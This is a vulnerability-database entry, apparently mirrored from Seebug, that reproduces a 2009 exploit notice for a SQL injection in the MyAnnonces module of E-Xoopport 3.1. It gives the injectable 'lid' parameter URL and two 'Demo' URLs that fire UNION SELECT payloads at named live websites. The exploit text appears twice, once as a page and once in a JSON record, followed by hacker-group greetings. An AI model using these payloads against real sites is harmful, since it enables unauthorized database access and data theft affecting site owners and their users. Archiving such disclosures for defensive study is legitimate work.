Search...

E-Xoopport 3.1 Module MyAnnonces (lid) SQL Injection Vulnerability

2009-07-20T00:00:00

ID SSV:14795
Type seebug
Reporter Root
Modified 2009-07-20T00:00:00

Description

No description provided by source.

                                        
                                            
                                                 ================================================================================================

 Title    : Remote SQL Injection Vulnerability
 Software : MyAnnonces Module for E-Xoopport 3.1
 Vendor   : http://www.e-xoopport.it/
 
 Date     : 17 July 2009 (Indonesia)
 Author   : Vrs-hCk
 Contact  : d00r@telkom.net
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [-] Exploit

     http://[site]/[path]/modules/MyAnnonces/index.php?pa=viewannonces&amp;lid=[SQLi]

 [-] Demo

     http://www.focolaccia.org/modules/MyAnnonces/index.php?pa=viewannonces&amp;lid=-41' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*
     http://www.annuncisolidali.it/modules/MyAnnonces/index.php?pa=viewannonces&amp;lid=-1946' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.LuvNova.info
     Paman, NoGe, OoN_Boy, Angela Chang, pizzyroot, zxvf, ajegille, em|nem, loqsa, Fluzy,
     bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, Janroe, c0li.m0de.0n and Behave oR BeGone !!!

 ================================================================================================

# sebug.net

JSON Vulners Source

Initial Source

{"sourceData": "\n ================================================================================================\n\n Title : Remote SQL Injection Vulnerability\n Software : MyAnnonces Module for E-Xoopport 3.1\n Vendor : http://www.e-xoopport.it/\n \n Date : 17 July 2009 (Indonesia)\n Author : Vrs-hCk\n Contact : d00r@telkom.net\n Blog : http://c0li.blogspot.com/\n\n ================================================================================================\n\n [-] Exploit\n\n http://[site]/[path]/modules/MyAnnonces/index.php?pa=viewannonces&lid=[SQLi]\n\n [-] Demo\n\n http://www.focolaccia.org/modules/MyAnnonces/index.php?pa=viewannonces&lid=-41' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*\n http://www.annuncisolidali.it/modules/MyAnnonces/index.php?pa=viewannonces&lid=-1946' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*\n\n ================================================================================================\n\n Greetz :\n\n www.MainHack.net - www.ServerIsDown.org - www.LuvNova.info\n Paman, NoGe, OoN_Boy, Angela Chang, pizzyroot, zxvf, ajegille, em|nem, loqsa, Fluzy,\n bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, Janroe, c0li.m0de.0n and Behave oR BeGone !!!\n\n ================================================================================================\n\n# sebug.net\n\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-14795", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-14795", "type": "seebug", "viewCount": 5, "references": [], "lastseen": "2017-11-19T18:43:05", "published": "2009-07-20T00:00:00", "cvelist": [], "id": "SSV:14795", "enchantments_done": [], "modified": "2009-07-20T00:00:00", "title": "E-Xoopport 3.1 Module MyAnnonces (lid) SQL Injection Vulnerability", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2017-11-19T18:43:05", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T18:43:05", "rev": 2}, "vulnersScore": 0.3}}